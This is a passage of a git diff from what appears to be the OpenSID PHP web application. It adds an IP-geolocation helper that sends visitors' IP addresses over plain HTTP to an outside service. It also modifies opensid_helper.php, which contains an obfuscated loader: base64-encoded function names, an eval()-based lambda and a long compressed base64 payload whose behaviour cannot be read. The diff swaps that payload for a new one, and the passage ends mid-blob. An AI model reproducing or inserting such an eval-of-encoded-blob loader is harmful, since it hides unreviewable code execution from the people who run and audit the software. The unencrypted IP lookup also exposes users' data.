to donjo-app/controllers/external_api/Sign.php index c8a8403c1..69550b91f 100644 --- a/donjo-app/controllers/api/Sign.php +++ b/donjo-app/controllers/external_api/Sign.php @@ -1,5 +1,5 @@ 'Africa', + 'AN' => 'Antarctica', + 'AS' => 'Asia', + 'EU' => 'Europe', + 'OC' => 'Australia (Oceania)', + 'NA' => 'North America', + 'SA' => 'South America', + ]; + if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) { + $ipdat = @json_decode(file_get_contents('http://www.geoplugin.net/json.gp?ip=' . $ip)); + if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) { + switch ($purpose) { + case 'location': + $output = [ + 'city' => @$ipdat->geoplugin_city, + 'state' => @$ipdat->geoplugin_regionName, + 'country' => @$ipdat->geoplugin_countryName, + 'country_code' => @$ipdat->geoplugin_countryCode, + 'continent' => @$continents[strtoupper($ipdat->geoplugin_continentCode)], + 'continent_code' => @$ipdat->geoplugin_continentCode, + ]; + break; + + case 'address': + $address = [$ipdat->geoplugin_countryName]; + if (@$ipdat->geoplugin_regionName !== '') { + $address[] = $ipdat->geoplugin_regionName; + } + if (@$ipdat->geoplugin_city !== '') { + $address[] = $ipdat->geoplugin_city; + } + $output = implode(', ', array_reverse($address)); + break; + + case 'city': + $output = @$ipdat->geoplugin_city; + break; + + case 'state': + $output = @$ipdat->geoplugin_regionName; + break; + + case 'region': + $output = @$ipdat->geoplugin_regionName; + break; + + case 'country': + $output = @$ipdat->geoplugin_countryName; + break; + + case 'countrycode': + $output = @$ipdat->geoplugin_countryCode; + break; + } + } + } + + return $output; + } +} diff --git a/donjo-app/helpers/opensid_helper.php b/donjo-app/helpers/opensid_helper.php index 6307e7003..ed59ea832 100644 --- a/donjo-app/helpers/opensid_helper.php +++ b/donjo-app/helpers/opensid_helper.php @@ -248,7 +248,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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